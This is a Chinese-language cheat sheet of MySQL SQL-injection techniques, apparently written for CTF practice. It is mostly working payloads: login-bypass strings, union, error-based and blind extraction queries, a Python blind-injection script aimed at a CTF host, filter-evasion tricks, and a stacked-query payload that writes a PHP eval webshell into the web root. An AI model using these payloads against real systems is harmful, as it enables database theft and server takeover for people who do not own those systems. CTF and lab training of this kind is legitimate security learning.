Mysql - sql注入
1 information_schema常规查询流程
information_schema中的三个特殊表:
一个是schemata,一个是tables(有21列),一个是columns,
schema纪录数据库中所有的数据库名
tables 纪录数据库中所有的表,column纪录数据库中所有的表和列;
爆库:
select group_concat(schema_name) from information_schema.schemata
爆表
select group_concat(table_name) from information_schema.tables where table_schema = '某某'
select group_concat(table_name) from information_schema.tables where table_schema = database() #有时候会这样
爆字段
select group_concat(column_name) from information_schema.columns where table_name = '某某'
爆值
select group_concat(*) from 表 (where 字段=某某)
select group_concat(,xxx,xxx) from xxx.xxx
select group_concat(concat_ws(0x7e,xxx,xxx)) from xxx.xxx
ctf
最后一个爆值一般是
select group_concat(username) from users
select group_concat(password) from users
group_concat可以用concat_ws替换
数据库名可以用十六进制替换:0x十六进制的数据库名
2 闭合字符
- 引号类
'
"
)
')
")
数字型,考虑使用注释符
- 注释符
#
--+
/**/
- %00
因为#,-都被过滤,于是采用%00进行截断,注意如果在输入框中直接输入%00,那么就会被编码成%2500,然后计算机在解码成%00,会黑名单过滤
在bp中直接输入%00,防止二次编码可以达到截断的作用
如果写python脚本的话,由于要防止二次编码,%00要写作parse.unquote('%00')
比如说脚本
import requests
import time
from urllib import parse
import string
url="http://53329c83-815a-48d8-9191-6c3270f58121.node4.buuoj.cn:81/index.php"
passwd=''
proxies = { "http": None, "https": None} #3.7以后要添加代理池
strings='_'+string.ascii_lowercase+string.digits
for pos in range(1,10000):
for asci in strings:
data={
"username":"\\",
"passwd":'||/**/passwd/**/regexp/**/"^{}";{}'.format(passwd+asci,parse.unquote('%00'))
}
resp = requests.post(url=url,data=data,proxies=proxies);
#print(resp.text)
if 'welcome' in resp.text:
print('true')
passwd = passwd + asci
print("[*]passwd : "+passwd)
break
- 斜杠
注释符和引号被过滤尝试斜杠,斜杠可能可以转义掉单引号
\
对应的解决方案呢就是做转义喽,同理还有跨域攻击
- 编码类
以md5为例:
如果是md5后的password,源码如下
select * from `admin` where password='".md5($pass,true)."'
payload如下
ffifdyop //md5(’ffifdyop',true) === $a; $a="'or'1";
3 万能钥匙-验证逻辑
3.1 没有回环验证
demo:
后端是直接没有回环验证的情况,且存在sql注入时,万能钥匙直接秒
$res = mysql_querry("select id from users where username='"+$_POST['username']+"' and password = '"+$_POST['password']+"';")
if($res){
print("success! this is your flag{xxx}")
}
payload
admin' or 'a'='a
admin' or 1=1#(mysql)
admin' or 1=1--(sqlserver)
admin' or 1=1;--(sqlserver)
' or '1
另一种类型是(利用联合查询产生虚拟数据欺骗php脚本)
admin=' union select 1,2,3;#&passwd=3
如果是md5后的password,源码如下
select * from `admin` where password='".md5($pass,true)."'
payload如下
ffifdyop //md5(’ffifdyop',true) === $a; $a="'or'1";
3.2 有回环验证
3.2.1 利用REPLACE
'UNION SELECT REPLACE(REPLACE('"UNION SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS pw#',CHAR(34),CHAR(39)),CHAR(36),'"UNION SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS pw#') AS pw#
3.2.2 利用线程表
1'union/**/select/**/mid(`11`,65,217)/**/from(select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,1
4,15,16,17/**/union/**/select/**/*/**/from/**/performance_schema.threads/**/where/**/na
me/**/like'%connection%'/**/limit/**/1,1)t#
3.3 利用注册
可以用约束攻击
看下面第4点
4 约束攻击
条件
有表里有控制长度
原理
INSERT语句:截取前20个字符
SELECT语句:输入什么就是什么
所以insert一个”admin “
那么select的时候就可以绕过”此用户已注册“,但是后续insert却只截取admin(空格也被省略了),
demo
<?php
$conn=mysqli_connect('127.0.0.1:3306','root','root','db');
if(!$conn){
die('Connection failed: '.mysqli_connect_error());
}
$username=addslashes(@$_POST['username']);//非常安全的转义函数
$password=addslashes(@$_POST['password']);
$sql="select * from users where username='$username';";
$rs=mysqli_query($conn,$sql);
if($rs->fetch_row()){
die('账号已注册');
}else{
$sql2="insert into users values('$username','$password');";
mysqli_query($conn,$sql2);
die('注册成功');
}
<?php
$conn=mysqli_connect('127.0.0.1:3306','root','root','db');
if(!$conn){
die('Connection failed: '.mysqli_connect_error());
}
$username=addslashes(@$_POST['username']);//非常安全的转义函数
$password=addslashes(@$_POST['password']);
$sql="select * from users where username='$username' and password='$password';";
$rs=mysqli_query($conn,$sql);
if($rs->fetch_row()){
$_SESSION['username']=$username;
}else{
echo 'fail';
}
create table users(
username varchar(20),
password varchar(20)
)
5 联合查询
特点
将查询的结果显示出来
利用
- 判断注入点闭合情况
- 通过
order by
查列数 - 通过union进行联合查询
' union select 1,2,database()--
6 报错注入
6.1 updatexml和extractvalue
适用版本:5.1.5+
updatexml
select xxx or updatexml(1,concat(0x7e,payload,0x7e),1)
extractvalue
select 1,2,extractvalue(1,concat(0x7e,payload,0x7e))
原理:
updatexml原理:(Xpath报错, updatexml与extractvalue对xml进行查询和修改,extractvalue(xml_str ,
Xpath) 函数,按照Xpath语法从XML格式的字符串中提取一个值,如果函数中任意一个参数为NULL,返回
值都是NULL,但如果我们构造了不合法的Xpath ,MySQL便会出现语法错误,从而显示出XPath的内
容)sql报错注入:extractvalue、updatexml报错原理-阿里云开发者社区 (aliyun.com)
extractvalue原理:Xpath报错, updatexml与extractvalue对xml进行查询和修改,extractvalue(xml_str ,Xpath) 函数,按照Xpath语法从XML格式的字符串中提取一个值,如果函数中任意一个参数为NULL,返回
值都是NULL,但如果我们构造了不合法的Xpath ,MySQL便会出现语法错误,从而显示出XPath的内容)
6.2 exp、pow、溢出
适用版本:5.5.5~5.5.49
select exp(~(select * from(select user())a));
select pow(2,~(select * from(select user())a));
select 1+(~(select * from(select user())a));
6.3 floor双注入查询
rand+group+count
利用:
select count(*),concat(user(),"=",floor(rand(0)*2)) as x from information_schema.tables group by x;
原理分析见:rand+group+count报错注入分析:rand+group+count报错注入分析 (wolai.com)
6.4 不存在函数
通过不存在函数报错得到当前数据库名
select a();
ERROR 1305 (42000): FUNCTION test.a does not exist
6.5 name_const
查询数据库版本
select * from(select name_const(version(),1),name_const(version(),1))a;
6.6 uuid
适用版本:8.0.x
利用:
select uuid_to_bin((database()));
select bin_to_uuid((database()));
6.7 join using
查询字段名
select * from(select * from tb1 a join(select * from tb1)b)c;
select * from(select * from tb1 a join(select * from tb1)b using(cl1))c;
select * from(select * from tb1 a join(select * from tb1)b using(cl1,cl2))c;
6.8 gtid
仅一列,可查user()、version()、database()
select gtid_subset(user(),1);
select gtid_subtract(user(),1);
6.9 polygon
前提:知道字段名(一般用id)
报当前查询语句的库、表、字段
mysql> select flag from ctf where polygon(id);
ERROR 1367 (22007): Illegal non geometric '`test`.`ctf`.`id`' value found during parsing
mysql> select flag from ctf where polygon(flag);
ERROR 1367 (22007): Illegal non geometric '`test`.`ctf`.`flag`' value found during parsing
6.10 cot
前提:知道字段名(一般用id)
报当前查询语句的库、表、字段
mysql> select username from users where cot(username);
ERROR 1690 (22003): DOUBLE value is out of range in 'cot(`ctf`.`users`.`username`)'
mysql> select username from users where cot(concat('a',id));
ERROR 1690 (22003): DOUBLE value is out of range in 'cot(concat('a',`ctf`.`users`.`id`))'
6.11 其他报错函数
适用版本:低于mysql(5.6.22)
geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring()
7 堆叠注入
原理
可执行多条sql语句,例如
$mysqli->multi_query($sql);
7.1 写文件
set global general_log=on;
set global general_log_file='/var/www/html/shell.php';
select "<?php eval($_POST['jan']);?>";
7.2 查询
查表名:show tables
查字段:show columns
7.3 handler+show
绕过select过滤
handler users open as hd;#指定数据表,返回句柄
handler hd read first;#读取指定表首行数据
handler hd read next;#读取下一行
handler hd close;#关闭句柄
如果想看数据库、表、字段,如下payload:
show database();
show databases;
show tables in database_name;
show columns from table_name;
//有时候要use才能用
use database_name;
7.4 预处理/预编译
原理:当你进行如下预编译语句时,mysql是可以执行的;(那么我们就做到了类似于eval这样强制把字符串执行的作用)
如
prepare st from concat('s','elect',' * from table_name');
execute st;
一种比较长的写法
set @a ='payload'; 设置(声明)一个变量并赋予它一个值;
prepare b from @a; 设置一个命令 并把前面的变量赋给它;
execute b; 执行这个命令
例子
set @hmt = concat('sel','ect flag from `1919810931114514`; ') ;prepare a from @hmt;execute a;
8 布尔盲注
特点
一般出现回显因为正误而不同的情况即可考虑布尔盲注
- 回显不同(内容、长度)
- HTTP响应状态码不同
- HTTP响应头变化(重定向、设置cookie)
- 基于错误的布尔注入
注意点
-
有时候报错注入就足够了
-
如果Timeout了,大概率是因为访问频率过高被ban了
payload格式
本质就是某个查询语句的回显结果是1还是0的区别,但其嵌入到不同的语句会看上去有不同的格式
-
if(ascii(substr(" +payload+",{0},1))={1},1,2) #substr式
-
admin'or/**/password>'1' #比较式(用于 过滤太多的情况,暂无脚本) 1^(password>'1') #比较式的一个变种
-
select 1+~0; #bigint溢出式,1为布尔点
-
cot(1) #1为布尔点 余切 mysql> select cot(1); +--------------------+ | cot(1) | +--------------------+ | 0.6420926159343306 | +--------------------+ 1 row in set (0.00 sec) mysql> select cot(0); ERROR 1690 (22003): DOUBLE value is out of range in 'cot(0)'
-
exp:e的指数
select exp(999*1);--ERROR 1690 (22003): DOUBLE value is out of range in 'exp((999 * 1))'
select exp(999*0);--1
- pow:乘方
select pow(1,9999);
9 时间盲注
9.1 sleep
sleep(3)
9.2 benchmark
作用:
将表达式执行指定次数
语法:
benchmark(count,expr)
利用:
在执行次数比较多时,可以代替sleep函数
benchmark(1000000000,0)-- 三秒左右
benchmark(10000000,md5(0))-- 一秒左右
9.3 笛卡尔积
select count(*) from information_schema.columns a,information_schema.columns b;
9.4 正则匹配
select rpad('a',99,'a') rlike concat(repeat('(a.*)+',30),'b');
9.5 get_lock(前置条件多), 正则
10 宽字节注入
10.1 前提
php和数据库编码字符集不同+使用了addslashes
而且,只有这个addslashes和预编译的情况可以把admin'这个东西插入到数据库中,但是预编译肯定不会作为sql题来出,所以必然是addslashes,考察宽字节注入
10.2 payload
payload (这个payload的结构在恶意代码中相当于报错注入闭合用的单引号、双引号)
%df%27
11 二次注入
原理:
1.查询时单引号被转义,但从数据库中取出的时候没有被转义(都是指php代码)
2.一个有问题的的数据(payload)被存入数据库中,之后的sql语句将该数据取出,然后再使用该数据去拼接sql语句,之后执行这个被拼接的sql语句!总结为一句话就是:sql语句拼接了有问题的数据然后执行。
demo看sql注入千层套路和jacko笔记
12 无列名注入
12.1 联合查询+别名
当column被过滤时,无法通过特殊库来获取列名,无法get flag
此时要先获取表的列数
- 用order by判断
- 直接union select判断
payload
select b from (select 1,2,3 as B union select * from user)a limit 1,1;
用 limit 1,1而不是用 limit 0,1,因为第 0行是列名(1/2/3)
原理:
利用union select创造的虚拟表格(一个两种数据拼在一起的表格)!!
12.2 比较法
select (select 'admin','~','~')<(select * from users where username='admin' limit 1);
13 table注入
table的语法是
table 表名
mysql> table Persons;
+------+----------+-----------+--------------+---------+
| Id_P | LastName | FirstName | Address | City |
+------+----------+-----------+--------------+---------+
| 1 | Gates | Bill | Xuanwumen 10 | Beijing |
+------+----------+-----------+--------------+---------+
1 row in set (0.00 sec)
mysql> table Persons limit 1;
+------+----------+-----------+--------------+---------+
| Id_P | LastName | FirstName | Address | City |
+------+----------+-----------+--------------+---------+
| 1 | Gates | Bill | Xuanwumen 10 | Beijing |
+------+----------+-----------+--------------+---------+
1 row in set (0.00 sec)
Table注入则是输出上述表后,自行创建另一个表与之比较(注意必须两边都用limit 1),
mysql> select 0 or (2,null,null,null,null)<(table Persons limit 1);
+------------------------------------------------------+
| 0 or (2,null,null,null,null)<(table Persons limit 1) |
+------------------------------------------------------+
| 0 |
+------------------------------------------------------+
1 row in set (0.00 sec)
mysql> select 0 or (1,null,null,null,null)<(table Persons limit 1);
+------------------------------------------------------+
| 0 or (1,null,null,null,null)<(table Persons limit 1) |
+------------------------------------------------------+
| NULL |
+------------------------------------------------------+
1 row in set (0.00 sec)
mysql> select 0 or (0,null,null,null,null)<(table Persons limit 1);
+------------------------------------------------------+
| 0 or (0,null,null,null,null)<(table Persons limit 1) |
+------------------------------------------------------+
| 1 |
+------------------------------------------------------+
1 row in set (0.00 sec)
mysql> select 0 or (-1,null,null,null,null)<(table Persons limit 1);
+-------------------------------------------------------+
| 0 or (-1,null,null,null,null)<(table Persons limit 1) |
+-------------------------------------------------------+
| 1 |
+-------------------------------------------------------+
1 row in set (0.00 sec)
当回显null的时候刚好是1,这样可以知道Persons第一列的值是1
要是嫌麻烦,直接外面加cot()扁平化处理(加一些用于条件判断的,mysql上多试试就有)
mysql> select cot((2,null,null,null,null)<(table Persons limit 1));
ERROR 1690 (22003): DOUBLE value is out of range in 'cot(((2,NULL,NULL,NULL,NULL) < (select `my_dbThai`.`Persons`.`Id_P`,`my_dbThai`.`Persons`.`LastName`,`my_dbThai`.`Persons`.`FirstName`,`my_dbThai`.`Persons`.`Address`,`my_dbThai`.`Persons`.`City` from `my_dbThai`.`Persons` limit 1)))'
mysql> select cot((1,null,null,null,null)<(table Persons limit 1));
+------------------------------------------------------+
| cot((1,null,null,null,null)<(table Persons limit 1)) |
+------------------------------------------------------+
| NULL |
+------------------------------------------------------+
1 row in set (0.00 sec)
mysql> select cot((0,null,null,null,null)<(table Persons limit 1));
+------------------------------------------------------+
| cot((0,null,null,null,null)<(table Persons limit 1)) |
+------------------------------------------------------+
| 0.6420926159343306 |
+------------------------------------------------------+
1 row in set (0.00 sec)
mysql> select cot((null,null,null,null,null)<(table Persons limit 1));
+---------------------------------------------------------+
| cot((null,null,null,null,null)<(table Persons limit 1)) |
+---------------------------------------------------------+
| NULL |
+---------------------------------------------------------+
1 row in set (0.00 sec)
1以后都不报错,这就是布尔点了
当不想注入其他列时(控制变量),可以都设置为null
mysql> select (null,null,null,null,null)<(table Persons limit 1);
+----------------------------------------------------+
| (null,null,null,null,null)<(table Persons limit 1) |
+----------------------------------------------------+
| NULL |
+----------------------------------------------------+
1 row in set (0.00 sec)
mysql> select (0,null,null,null,null)<(table Persons limit 1);
+-------------------------------------------------+
| (0,null,null,null,null)<(table Persons limit 1) |
+-------------------------------------------------+
| 1 |
+-------------------------------------------------+
1 row in set (0.00 sec)
mysql> select (1,null,null,null,null)<(table Persons limit 1);
+-------------------------------------------------+
| (1,null,null,null,null)<(table Persons limit 1) |
+-------------------------------------------------+
| NULL |
+-------------------------------------------------+
1 row in set (0.00 sec)
14 比较大小
14.1 比较符与运算符
-
>
-
<
-
>=
-
<=
-
=
:等于,如果两个操作数均为NULL,则返回NULL -
<=>
:等于,但是如果两个操作数均为NULL,则返回1而不是NULL,如果一个操作数为NULL则返回0而不是NULL -
!=
:不等于 -
<>
:不等于 -
^
(异或,如果相同则回显0,不同回显1,常用于盲注,语法: num^num) -
等号:绕注释符
select '1'=(1)='1';
- 减法:绕注释符
select '1'-1-'';
- and、or+减法:
select 1 and ascii('a')-97;
select 0 or ascii('a')-97;
14.2 strcmp
select strcmp('a','b');-- -1
select strcmp('b','b');-- 0
select strcmp('c','b');-- 1
select strcmp('ab','b');-- -1
代替等号
where !strcmp(table_schema,'ctf');
14.3 between and
select 2 between 1 and 3;-- 1
select 'b' between 'a' and 'c';
代替等号
where table_schema between 'ctf' and 'ctf'
14.4 in
语法:
WHERE column_name IN (value1,value2,...)
利用:
可用于代替等号
where table_schema in ('ctf')
where id in(1,2)
14.5 like
当没有%
时,like
可代替等号
select 'abc' like 'abc';
14.6 regexp、rlike
代替等号
select 'abc' regexp '^abc$';
select 'abc' rlike '^abc$';
14.7 if,case比较
case:
select case 'a' when 'a' then 1 else 0 end;
select case when (1<2) then 1 else 0 end;
if:
select 1^(ascii('a')-96)^1;
14.8 instr
select instr('jacko','a');//2
14.9 行比较
select (2,1)>(1,2);-- 1
select (1,1)!=(1,2);-- 1
14.10 order by比较
select 's' union select 'test' order by 1 limit 1;
14.11 字符串与整型
字符串和整型比较时,会将字符串转成整型再比较
a
=>0
'12a'
=>12
14.12 字符串大小写
大小顺序:
- A-Z或a-z(不敏感)
- 0-9
- 特殊字符按ascii码顺序排序
大小写都不敏感:无论是关键字还是值,但在linux的mysql中,库名、表名都是敏感的
select 'a'='A';-- 1
select strcmp('test','TEST');-- 0
大小写敏感:
14.12.1 binary
方法一:在前面加上binary
使得大小写敏感
select 'abc'='ABC';--1
select binary 'abc'='ABC';--0
binary('字符串')
(当然也可以binary(0x某某))
14.12.2 COLLATE'utf8mb4_bin'
方法二:
前提:数据库以utf8mb4_bin
进行编码
后面接上 COLLATE'utf8mb4_bin' 或者COLLATE utf8mb4_bin
14.12.3 编码类
方法三:
-
bin();
-
hex();
-
md5();
15 字符串截取
15.1 left, right
语法:
left(str,len)
right(str,len)
left先reverse,再转ascii
15.2 substr, substring,mid
语法:pos从1开始
substr(str,pos,len)
substring(str,pos,len)
mid(str,pos,[len])
绕过:
绕过逗号
select substr('test',1,2);
select substr('test' from 1 for 2);
select substring('test',1,2);
select substring('test' from 1 for 2);
15.3 trim
select trim([both/leading/trailing] 'x' from 'xxx');
select trim(leading 'a' from 'abc');--bc
select trim(leading 'b' from 'abc');--abc
15.4 insert
select insert((insert('abcdef',1,0,'')),2,999,'');-- a
select insert((insert('abcdef',1,2,'')),2,999,'');-- c
16 编码
- ascii
select ascii('abc');-- 97
- ord
select ord('abc');-- 97
-
bin();
-
hex();
传入字符或十进制,返回十六进制
select hex('a');-- 61
select hex(97);-- 61
- md5();
编码转字符:
-
unhex
-
char
17 逗号被过滤
一般用到逗号都是联合查询&报错注入,或者时间盲注
时间盲注用case when的方法:
- case when
if 被过滤,可以用case when (时间盲注等情况)
select -1 or case when 1=1 then 1 else 0 end;
- substr 逗号被过滤,可以用substr(xxx from 1 for 1)
18 过滤空格
/**/ (首选) py脚本可以用replace函数,参考jacko脚本
%a0
%0a
%0d
%09
tab
- unicode编码(编码绕过)
-
两个空格
-
tab
-
括号(建议现在本地把payload测试完后再怼上去,先从小的往外面打括号)
例子
爆库
select(group_concat(schema_name))from(information_schema.schemata);
爆表
select(group_concat(table_name))from(information_schema.tables)where(table_schema)like'test'
爆字段
select(group_concat(column_name))from(information_schema.columns)where(table_name='persons');
19 过滤单引号双引号
凡字符串都可以编码绕过,建议编码绕过,参考下面编码绕过
比如: hex绕过
select 0x74657374='test';-- 1
20 关键词绕过
- 大小写
针对正则没加/i参数的情形
-
双写
-
编码
凡字符串都可以编码绕过,建议编码绕过,参考下面编码绕过
比如: hex绕过
select 0x74657374='test';-- 1
- 相似函数替换
if 被过滤,使用case when
limit 可以用offset绕过,limit 0,1等于limit 0 offset 1
20.x select 被过滤
table
table :只能查询表,不能按列查询
table user; #相当于select * from user
table user order by username limit 1 offset 0;
table盲注原理示例:(元组的比较)
table盲注information_schema.tables示例:
"admin' or ("def","{0}",1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1)=(table information_schema.tables order by CREATE_TIME desc limit 1,1)".format({i})
该表查阅官方文档有21列,1表示占位(回显True),此盲注可以把数据库名(table_schema)表名(table_name)一并注入出。
注意区分大小写,如使用hex,binary等(参考字符串大小写)
handler + show
如果想看表的内容,可以用handler的方式绕过,[参考]((9条消息) [GYCTF2020]Blacklist 1_无独有偶o的博客-CSDN博客).payload如下
handler table_name open
handler table_name read first;
handler table_name read last;
handler table_name close;
如果想看数据库、表、字段,如下payload:
show database();
show databases;
show tables in database_name;
show columns from table_name;
//有时候要use才能用
use database_name;
21猜测表
可以用exists函数
select flag from flag
select username,password from users
22特殊库
22.1 information_schema库
表 | 字段 | 说明 |
---|---|---|
information_schema.schemata | schema_name | 库名 |
information_schema.tables | table_schema、table_name | 库名、表名 |
information_schema.columns | table_schema、table_name、column_name | 库名、表名、字段名 |
22.2 sys库
mysql5.7增加sys系统数据库,这个库是通过视图的形式把information_schema和performance_schema结合起来
示例:
select table_schema from sys.schema_table_statistics group by table_schema;
表 | 字段 | 说明 |
---|---|---|
sys.innodb_buffer_stats_by_schema | object_schema | 库名 |
sys.innodb_buffer_stats_by_table | object_schema、object_name | 库名、表名 |
sys.io_global_by_file_by_bytes | file | 路径中包含表名 |
sys.io_global_by_file_by_latency | file | 路径中包含表名 |
sys.processlist | current_statement、last_statement | 当前数据库正在执行的语句、该句柄执行的上一条语句 |
sys.session | current_statement、last_statement | 当前数据库正在执行的语句、该句柄执行的上一条语句 |
sys.schema_auto_increment_columns | table_schema、table_name、column_name | 库名、表名、字段名 |
sys.schema_index_statistics | table_schema、table_name | 库名、表名 |
sys.schema_object_overview | db | 库名 |
sys.schema_table_statistics | table_schema、table_name | 库名、表名 |
sys.schema_table_statistics_with_buffer | table_schema、table_name | 库名、表名 |
sys.schema_tables_with_full_table_scans | object_schema、object_name | 库名、表名 |
sys.statement_analysis或者sys.x$statement_analysis | query、db | 请求访问的数据库名、数据库最近执行的请求 |
sys.version | mysql_version | mysql版本信息 |
sys.x$innodb_buffer_stats_by_schema | object_schema | 库名 |
sys.x$innodb_buffer_stats_by_table | object_schema、object_name | 库名、表名 |
sys.x$io_global_by_file_by_bytes | file | 路径中包含表名 |
sys.x$schema_tables_with_full_table_scans | object_schema、object_name | 库名、表名 |
sys.x$schema_flattened_keys | table_schema、table_name、index_columns | 库名、表名、字段名 |
sys.x$ps_schema_table_statistics_io | table_schema、table_name | 库名、表名 |
22.3 performance_schema
表 | 字段 | 说明 |
---|---|---|
performance_schema.objects_summary_global_by_type | object_schema、object_name | 库、表 |
performance_schema.table_handles | object_schema、object_name | 库、表 |
performance_schema.table_io_waits_summary_by_index_usage | object_schema、object_name | 库、表 |
performance_schema.table_io_waits_summary_by_table | object_schema、object_name | 库、表 |
22.4 mysql库
表 | 字段 | 说明 |
---|---|---|
mysql.innodb_table_stats | database_name、table_name | 表名 |
mysql.innodb_index_stats | database_name、table_name |
23 搭环境
23.1 搭建sqli-labs:
docker pull acgpiano/sqli-labs
23.2 搭建mysql8
docker run -d --name Mysql8 -e MYSQL_ROOT_PASSWORD=root -p 33306:3306 mysql:8.0.27
docker exec -it xxxxxx sh
mysql -u root -p
23.3 快速建库和表
CREATE DATABASE my_dbThai;
use my_dbThai;
CREATE TABLE Persons
(
Id_P int,
LastName varchar(255),
FirstName varchar(255),
Address varchar(255),
City varchar(255)
);
INSERT INTO Persons VALUES (1,'Gates', 'Bill', 'Xuanwumen 10', 'Beijing');
23.4 mysql运维
- 重启mysql数据库:systemctl restart mysql
- 导入数据库